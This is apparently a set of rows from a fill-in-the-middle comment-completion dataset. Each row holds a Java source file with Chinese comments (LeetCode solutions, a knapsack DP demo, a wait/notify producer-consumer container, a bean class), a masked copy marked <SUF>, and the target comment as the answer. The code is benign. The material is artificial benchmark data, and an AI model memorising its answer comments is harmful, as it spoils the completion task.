showTip("当前正在说话,音量大小:" + volume);
Log.d("TAG", "返回音频数据:" + data.length);
}
@Override
public void onEvent(int eventType, int arg1, int arg2, Bundle obj) {
// 以下 <SUF>
// 若使用本地能力,会话id为null
// if (SpeechEvent.EVENT_SESSION_ID == eventType) {
// String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID);
// Log.d(TAG, "session id =" + sid);
// }
}
};
}
| 1 | 57 | 1 |
55510_2 | class Solution529 {
public char[][] updateBoard(char[][] board, int[] click) {
boolean[][] visited = new boolean[board.length][board[0].length];
if (board[click[0]][click[1]] == 'M') {
// 规则 1,点到雷改为X退出游戏
board[click[0]][click[1]] = 'X';
} else if (board[click[0]][click[1]] == 'E') {
// 只有当点的是未被访问过的格子E才进入递归和判断
dfs(visited, board, click[0], click[1]);
}
return board;
}
public void dfs(boolean[][] visited, char[][] board, int x, int y) {
// 访问当前结点
visited[x][y] = true;
if (count(board, x, y) == 0) {
board[x][y] = 'B';
int[] diff = new int[] {-1, 0, 1};
// 访问周围结点
for (int i = 0; i < diff.length; i++)
for (int j = 0; j < diff.length; j++) {
if (diff[i] == 0 && diff[j] == 0) continue;
if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length || visited[x + diff[i]][y + diff[j]]) continue;
dfs(visited, board, x + diff[i], y + diff[j]);
}
}
else board[x][y] = (char) (count(board, x, y) + '0');
}
public int count(char[][] board, int x, int y) { // 确定周围雷的数量
int res = 0;
int[] diff = new int[] {-1, 0, 1};
for (int i = 0; i < diff.length; i++)
for (int j = 0; j < diff.length; j++) {
if (diff[i] == 0 && diff[j] == 0) continue;
if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length) continue;
if (board[x + diff[i]][y + diff[j]] == 'M') res++;
}
return res;
}
}
/**
* 点击的格子是M,直接改为X并退出游戏
* 点击的格子是是B或者数字,什么也不做退出游戏(题解里其实可以加上这个else if的判断)
* 点击的格子是E才扩展:计算当前格子周围的雷的数量cnt,决定当前格子从E改为B还是改为数字;若改为数字则终止扩展(这也是为什么示例1还剩一个E),若改为B则继续扩展(遇到E才扩展,遇到B或者数字则终止)
*/ | Echlorine/leetcode-solution | Java/Solution529.java | 733 | // 访问当前结点 | line_comment | zh-cn | class Solution529 {
public char[][] updateBoard(char[][] board, int[] click) {
boolean[][] visited = new boolean[board.length][board[0].length];
if (board[click[0]][click[1]] == 'M') {
// 规则 1,点到雷改为X退出游戏
board[click[0]][click[1]] = 'X';
} else if (board[click[0]][click[1]] == 'E') {
// 只有当点的是未被访问过的格子E才进入递归和判断
dfs(visited, board, click[0], click[1]);
}
return board;
}
public void dfs(boolean[][] visited, char[][] board, int x, int y) {
// 访问 <SUF>
visited[x][y] = true;
if (count(board, x, y) == 0) {
board[x][y] = 'B';
int[] diff = new int[] {-1, 0, 1};
// 访问周围结点
for (int i = 0; i < diff.length; i++)
for (int j = 0; j < diff.length; j++) {
if (diff[i] == 0 && diff[j] == 0) continue;
if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length || visited[x + diff[i]][y + diff[j]]) continue;
dfs(visited, board, x + diff[i], y + diff[j]);
}
}
else board[x][y] = (char) (count(board, x, y) + '0');
}
public int count(char[][] board, int x, int y) { // 确定周围雷的数量
int res = 0;
int[] diff = new int[] {-1, 0, 1};
for (int i = 0; i < diff.length; i++)
for (int j = 0; j < diff.length; j++) {
if (diff[i] == 0 && diff[j] == 0) continue;
if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length) continue;
if (board[x + diff[i]][y + diff[j]] == 'M') res++;
}
return res;
}
}
/**
* 点击的格子是M,直接改为X并退出游戏
* 点击的格子是是B或者数字,什么也不做退出游戏(题解里其实可以加上这个else if的判断)
* 点击的格子是E才扩展:计算当前格子周围的雷的数量cnt,决定当前格子从E改为B还是改为数字;若改为数字则终止扩展(这也是为什么示例1还剩一个E),若改为B则继续扩展(遇到E才扩展,遇到B或者数字则终止)
*/ | 1 | 9 | 1 |
66465_14 | package alg_02_train_dm._17_day_二叉树二_二刷;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Queue;
/**
* @Author Wuyj
* @DateTime 2023-08-10 19:10
* @Version 1.0
*/
public class _10_257_binary_tree_paths2 {
// KeyPoint 方法二 BFS => 高性能,打败 100 % => 需要掌握
public List<String> binaryTreePaths(TreeNode root) {
// 输入:
// 1
// / \
// 2 3
// \
// 5
//
// 输出: ["1->2->5", "1->3"]
List<String> res = new ArrayList<String>();
if (root == null) return res;
Queue<TreeNode> nodeQueue = new LinkedList<TreeNode>();
// 在 BFS 过程中,每遍历一个节点,都会有一个 path 与之对应
// 直到遇到叶子节点,将完整 path 加入到 res 中
Queue<String> pathQueue = new LinkedList<String>();
nodeQueue.offer(root);
// KeyPoint 区别:两者 API
// 1.Integer.toString()
// 2.Integer.parseInt()
pathQueue.offer(Integer.toString(root.val));
while (!nodeQueue.isEmpty()) {
TreeNode node = nodeQueue.poll();
String path = pathQueue.poll();
// 叶子节点
if (node.left == null && node.right == null) {
res.add(path);
// 结束后面循环
continue;
}
if (node.left != null) {
nodeQueue.offer(node.left);
// KeyPoint 注意事项
// append(node.left.val),不是 node.left,node.left 表示节点
// 同时,因为对 node.left 已经做了判空,不存在空指针异常
pathQueue.offer(new StringBuilder(path).append("->").append(node.left.val).toString());
}
if (node.right != null) {
nodeQueue.offer(node.right);
pathQueue.offer(new StringBuilder(path).append("->").append(node.right.val).toString());
}
}
return res;
}
}
| EchoWuyj/LeetCode | LC_douma/src/main/java/alg_02_train_dm/_17_day_二叉树二_二刷/_10_257_binary_tree_paths2.java | 565 | // 同时,因为对 node.left 已经做了判空,不存在空指针异常 | line_comment | zh-cn | package alg_02_train_dm._17_day_二叉树二_二刷;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Queue;
/**
* @Author Wuyj
* @DateTime 2023-08-10 19:10
* @Version 1.0
*/
public class _10_257_binary_tree_paths2 {
// KeyPoint 方法二 BFS => 高性能,打败 100 % => 需要掌握
public List<String> binaryTreePaths(TreeNode root) {
// 输入:
// 1
// / \
// 2 3
// \
// 5
//
// 输出: ["1->2->5", "1->3"]
List<String> res = new ArrayList<String>();
if (root == null) return res;
Queue<TreeNode> nodeQueue = new LinkedList<TreeNode>();
// 在 BFS 过程中,每遍历一个节点,都会有一个 path 与之对应
// 直到遇到叶子节点,将完整 path 加入到 res 中
Queue<String> pathQueue = new LinkedList<String>();
nodeQueue.offer(root);
// KeyPoint 区别:两者 API
// 1.Integer.toString()
// 2.Integer.parseInt()
pathQueue.offer(Integer.toString(root.val));
while (!nodeQueue.isEmpty()) {
TreeNode node = nodeQueue.poll();
String path = pathQueue.poll();
// 叶子节点
if (node.left == null && node.right == null) {
res.add(path);
// 结束后面循环
continue;
}
if (node.left != null) {
nodeQueue.offer(node.left);
// KeyPoint 注意事项
// append(node.left.val),不是 node.left,node.left 表示节点
// 同时 <SUF>
pathQueue.offer(new StringBuilder(path).append("->").append(node.left.val).toString());
}
if (node.right != null) {
nodeQueue.offer(node.right);
pathQueue.offer(new StringBuilder(path).append("->").append(node.right.val).toString());
}
}
return res;
}
}
| 1 | 35 | 1 |
35016_0 | package medium.everyday1657;
import java.util.ArrayList;
import java.util.Arrays;
public class Solution {
/*
如果可以使用以下操作从一个字符串得到另一个字符串,则认为两个字符串 接近 :
操作 1:交换任意两个 现有 字符。
例如,abcde -> aecdb
操作 2:将一个 现有 字符的每次出现转换为另一个 现有 字符,并对另一个字符执行相同的操作。
例如,aacabb -> bbcbaa(所有 a 转化为 b ,而所有的 b 转换为 a )
你可以根据需要对任意一个字符串多次使用这两种操作。
给你两个字符串,word1 和 word2 。如果 word1 和 word2 接近 ,就返回 true ;否则,返回 false 。
*/
public boolean closeStrings(String word1, String word2) {
if(word2.length() != word1.length()){
return false;
}
int[] arr1 = new int[26], arr2 = new int[26];
for (int i = 0; i < word1.length(); i++) {
arr1[word1.charAt(i) - 'a'] += 1;
arr2[word2.charAt(i) - 'a'] += 1;
}
for (int i = 0; i < 26; i++) {
if(arr1[i] > 0 && arr2[i] == 0 || arr2[i] > 0 && arr1[i] == 0){
return false;
}
}
Arrays.sort(arr1);
Arrays.sort(arr2);
for (int i = 0; i < 26; i++) {
if(arr1[i] != arr2[i]){
return false;
}
}
return true;
}
}
| Eclipsed-Y/LeetCode | Java/src/medium/everyday1657/Solution.java | 439 | /*
如果可以使用以下操作从一个字符串得到另一个字符串,则认为两个字符串 接近 :
操作 1:交换任意两个 现有 字符。
例如,abcde -> aecdb
操作 2:将一个 现有 字符的每次出现转换为另一个 现有 字符,并对另一个字符执行相同的操作。
例如,aacabb -> bbcbaa(所有 a 转化为 b ,而所有的 b 转换为 a )
你可以根据需要对任意一个字符串多次使用这两种操作。
给你两个字符串,word1 和 word2 。如果 word1 和 word2 接近 ,就返回 true ;否则,返回 false 。
*/ | block_comment | zh-cn | package medium.everyday1657;
import java.util.ArrayList;
import java.util.Arrays;
public class Solution {
/*
如果可 <SUF>*/
public boolean closeStrings(String word1, String word2) {
if(word2.length() != word1.length()){
return false;
}
int[] arr1 = new int[26], arr2 = new int[26];
for (int i = 0; i < word1.length(); i++) {
arr1[word1.charAt(i) - 'a'] += 1;
arr2[word2.charAt(i) - 'a'] += 1;
}
for (int i = 0; i < 26; i++) {
if(arr1[i] > 0 && arr2[i] == 0 || arr2[i] > 0 && arr1[i] == 0){
return false;
}
}
Arrays.sort(arr1);
Arrays.sort(arr2);
for (int i = 0; i < 26; i++) {
if(arr1[i] != arr2[i]){
return false;
}
}
return true;
}
}
| 0 | 281 | 0 |
24845_2 | package ch12DP;
import java.util.Scanner;
public class Karma46TakeMaterial {
public static void main(String[] args) {
int[] weight = {1,3,4};
int[] value = {15,20,30};
int bagSize = 4;
testWeightBagProblem2(weight,value,bagSize);
}
/**
* 动态规划获得结果
* @param weight 物品的重量
* @param value 物品的价值
* @param bagSize 背包的容量
*/
public static void testWeightBagProblem(int[] weight, int[] value, int bagSize){
// 创建dp数组
int goods = weight.length; // 获取物品的数量
int[][] dp = new int[goods][bagSize + 1];
// 初始化dp数组
// 创建数组后,其中默认的值就是0
/* Arrays.sort(weight);
for (int j = weight[0]; j <= bagSize; j++) {
dp[0][j] = value[0];
}*/
for (int j = 0; j <= bagSize; j++) {
if (j >= weight[0]) {
dp[0][j] = value[0]; // 当背包容量大于等于第一个物品的重量时,可以选择装入该物品
} else {
dp[0][j] = 0; // 否则,背包内无法装入该物品,价值为0
}
}
// 填充dp数组
for (int i = 1; i < weight.length; i++) {
for (int j = 0; j <= bagSize; j++) {
if (j < weight[i]) {
/**
* 当前背包的容量都没有当前物品i大的时候,是不放物品i的
* 那么前i-1个物品能放下的最大价值就是当前情况的最大价值
*/
dp[i][j] = dp[i-1][j];
} else {
/**
* 当前背包的容量可以放下物品i
* 那么此时分两种情况:
* 1、不放物品i
* 2、放物品i
* 比较这两种情况下,哪种背包中物品的最大价值最大
*/
dp[i][j] = Math.max(dp[i-1][j] , dp[i-1][j-weight[i]] + value[i]);
}
}
}
// 打印dp数组
for (int i = 0; i < goods; i++) {
for (int j = 0; j <= bagSize; j++) {
System.out.print(dp[i][j] + "\t");
}
System.out.println("\n");
}
}
/*
* 不能正序可以这么理解:
虽然是一维数组,但是性质和二维背包差不多。
* 我们先来理解倒序遍历,从最后一个元素往前看,看到的都是“上一层的元素”然后每遍历到一个元素,就把当前元素赋值成“当前层”的。
* 这样得到的背包,因为每个元素加上的都是上一层的对应的物品value,所以不会重复。
* 因为二维数组是根据左上元素来求的,一维数组自然就是靠左边来求的。
* 倒序的时候左边元素再刷新前都是上一层的数据,但正序就不一样了,正序的时候,左边的元素刚刚刷新过,也就是左边的元素已经是本层的了,
* 意味着什么 这样会导致一个物品反复加好几次。
* */
public static void testWeightBagProblem2(int[] weight, int[] value, int bagWeight){
int[] dp = new int[bagWeight + 1];
dp[0] = 0;
//本来 应该每个值都赋一个 不影响后面比较max的最小值 敲定为0 但是这里不用赋值为0 默认都是0
/*
* dp[j] = max(dp[j],dp[j - weight[i]] + value[i])
* */
int len = weight.length;
for (int i = 0; i < len; i++) {
for (int j = bagWeight; j >= weight[i] ; j--) {
dp[j] = Math.max(dp[j],dp[j - weight[i]] + value[i]);
}
}
for (int j = 0; j <= bagWeight; j++){
System.out.print(dp[j] + " ");
}
}
}
| EddieAy/Leetcode | ch12DP/Karma46TakeMaterial.java | 1,097 | // 获取物品的数量 | line_comment | zh-cn | package ch12DP;
import java.util.Scanner;
public class Karma46TakeMaterial {
public static void main(String[] args) {
int[] weight = {1,3,4};
int[] value = {15,20,30};
int bagSize = 4;
testWeightBagProblem2(weight,value,bagSize);
}
/**
* 动态规划获得结果
* @param weight 物品的重量
* @param value 物品的价值
* @param bagSize 背包的容量
*/
public static void testWeightBagProblem(int[] weight, int[] value, int bagSize){
// 创建dp数组
int goods = weight.length; // 获取 <SUF>
int[][] dp = new int[goods][bagSize + 1];
// 初始化dp数组
// 创建数组后,其中默认的值就是0
/* Arrays.sort(weight);
for (int j = weight[0]; j <= bagSize; j++) {
dp[0][j] = value[0];
}*/
for (int j = 0; j <= bagSize; j++) {
if (j >= weight[0]) {
dp[0][j] = value[0]; // 当背包容量大于等于第一个物品的重量时,可以选择装入该物品
} else {
dp[0][j] = 0; // 否则,背包内无法装入该物品,价值为0
}
}
// 填充dp数组
for (int i = 1; i < weight.length; i++) {
for (int j = 0; j <= bagSize; j++) {
if (j < weight[i]) {
/**
* 当前背包的容量都没有当前物品i大的时候,是不放物品i的
* 那么前i-1个物品能放下的最大价值就是当前情况的最大价值
*/
dp[i][j] = dp[i-1][j];
} else {
/**
* 当前背包的容量可以放下物品i
* 那么此时分两种情况:
* 1、不放物品i
* 2、放物品i
* 比较这两种情况下,哪种背包中物品的最大价值最大
*/
dp[i][j] = Math.max(dp[i-1][j] , dp[i-1][j-weight[i]] + value[i]);
}
}
}
// 打印dp数组
for (int i = 0; i < goods; i++) {
for (int j = 0; j <= bagSize; j++) {
System.out.print(dp[i][j] + "\t");
}
System.out.println("\n");
}
}
/*
* 不能正序可以这么理解:
虽然是一维数组,但是性质和二维背包差不多。
* 我们先来理解倒序遍历,从最后一个元素往前看,看到的都是“上一层的元素”然后每遍历到一个元素,就把当前元素赋值成“当前层”的。
* 这样得到的背包,因为每个元素加上的都是上一层的对应的物品value,所以不会重复。
* 因为二维数组是根据左上元素来求的,一维数组自然就是靠左边来求的。
* 倒序的时候左边元素再刷新前都是上一层的数据,但正序就不一样了,正序的时候,左边的元素刚刚刷新过,也就是左边的元素已经是本层的了,
* 意味着什么 这样会导致一个物品反复加好几次。
* */
public static void testWeightBagProblem2(int[] weight, int[] value, int bagWeight){
int[] dp = new int[bagWeight + 1];
dp[0] = 0;
//本来 应该每个值都赋一个 不影响后面比较max的最小值 敲定为0 但是这里不用赋值为0 默认都是0
/*
* dp[j] = max(dp[j],dp[j - weight[i]] + value[i])
* */
int len = weight.length;
for (int i = 0; i < len; i++) {
for (int j = bagWeight; j >= weight[i] ; j--) {
dp[j] = Math.max(dp[j],dp[j - weight[i]] + value[i]);
}
}
for (int j = 0; j <= bagWeight; j++){
System.out.print(dp[j] + " ");
}
}
}
| 1 | 10 | 1 |
63598_0 | package com.edlplan.framework.utils.dataobject;
/**
* 自定义序列化的辅助类(打死不用java自带的)
*/
public class SerializableBuilder<T> {
}
| EdrowsLuo/osu-lab | EdlJavaExt/src/main/java/com/edlplan/framework/utils/dataobject/SerializableBuilder.java | 52 | /**
* 自定义序列化的辅助类(打死不用java自带的)
*/ | block_comment | zh-cn | package com.edlplan.framework.utils.dataobject;
/**
* 自定义 <SUF>*/
public class SerializableBuilder<T> {
}
| 0 | 34 | 0 |
20918_7 | /**
* 面试题:写一个固定容量同步容器,拥有put和get方法,以及getCount方法,
* 能够支持2个生产者线程以及10个消费者线程的阻塞调用
*
* 使用wait和notify/notifyAll来实现
*
* @author mashibing
*/
package yxxy.c_021;
import java.util.LinkedList;
import java.util.concurrent.TimeUnit;
public class MyContainer1<T> {
final private LinkedList<T> lists = new LinkedList<>();
final private int MAX = 10; //最多10个元素
private int count = 0;
public synchronized void put(T t) {
while(lists.size() == MAX) { //想想为什么用while而不是用if?
try {
this.wait(); //effective java
} catch (InterruptedException e) {
e.printStackTrace();
}
}
lists.add(t);
++count;
this.notifyAll(); //通知消费者线程进行消费
}
public synchronized T get() {
T t = null;
while(lists.size() == 0) {
try {
this.wait();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
t = lists.removeFirst();
count --;
this.notifyAll(); //通知生产者进行生产
return t;
}
public static void main(String[] args) {
MyContainer1<String> c = new MyContainer1<>();
//启动消费者线程
for(int i=0; i<10; i++) {
new Thread(()->{
for(int j=0; j<5; j++) System.out.println(c.get());
}, "c" + i).start();
}
try {
TimeUnit.SECONDS.sleep(2);
} catch (InterruptedException e) {
e.printStackTrace();
}
//启动生产者线程
for(int i=0; i<2; i++) {
new Thread(()->{
for(int j=0; j<25; j++) c.put(Thread.currentThread().getName() + " " + j);
}, "p" + i).start();
}
}
}
| EduMoral/edu | concurrent/src/yxxy/c_021/MyContainer1.java | 562 | //启动生产者线程
| line_comment | zh-cn | /**
* 面试题:写一个固定容量同步容器,拥有put和get方法,以及getCount方法,
* 能够支持2个生产者线程以及10个消费者线程的阻塞调用
*
* 使用wait和notify/notifyAll来实现
*
* @author mashibing
*/
package yxxy.c_021;
import java.util.LinkedList;
import java.util.concurrent.TimeUnit;
public class MyContainer1<T> {
final private LinkedList<T> lists = new LinkedList<>();
final private int MAX = 10; //最多10个元素
private int count = 0;
public synchronized void put(T t) {
while(lists.size() == MAX) { //想想为什么用while而不是用if?
try {
this.wait(); //effective java
} catch (InterruptedException e) {
e.printStackTrace();
}
}
lists.add(t);
++count;
this.notifyAll(); //通知消费者线程进行消费
}
public synchronized T get() {
T t = null;
while(lists.size() == 0) {
try {
this.wait();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
t = lists.removeFirst();
count --;
this.notifyAll(); //通知生产者进行生产
return t;
}
public static void main(String[] args) {
MyContainer1<String> c = new MyContainer1<>();
//启动消费者线程
for(int i=0; i<10; i++) {
new Thread(()->{
for(int j=0; j<5; j++) System.out.println(c.get());
}, "c" + i).start();
}
try {
TimeUnit.SECONDS.sleep(2);
} catch (InterruptedException e) {
e.printStackTrace();
}
//启动 <SUF>
for(int i=0; i<2; i++) {
new Thread(()->{
for(int j=0; j<25; j++) c.put(Thread.currentThread().getName() + " " + j);
}, "p" + i).start();
}
}
}
| 1 | 10 | 1 |
17113_2 | package tmall.bean;
/**
* Created by Edward on 2018/7/3
*/
/**
* 属性表
* 商品详情标签下的产品属性
* 不同的商品可能有相同的属性,如能效等级
*/
public class Property {
// 属性的唯一识别的 id
private int id;
// 属性的名称
private String name;
// 和分类表的多对一关系
private Category category;
// Get, Set
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Category getCategory() {
return category;
}
public void setCategory(Category category) {
this.category = category;
}
}
| EdwardLiu-Aurora/Tmall | src/tmall/bean/Property.java | 205 | // 属性的唯一识别的 id | line_comment | zh-cn | package tmall.bean;
/**
* Created by Edward on 2018/7/3
*/
/**
* 属性表
* 商品详情标签下的产品属性
* 不同的商品可能有相同的属性,如能效等级
*/
public class Property {
// 属性 <SUF>
private int id;
// 属性的名称
private String name;
// 和分类表的多对一关系
private Category category;
// Get, Set
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Category getCategory() {
return category;
}
public void setCategory(Category category) {
this.category = category;
}
}
| null | null | null |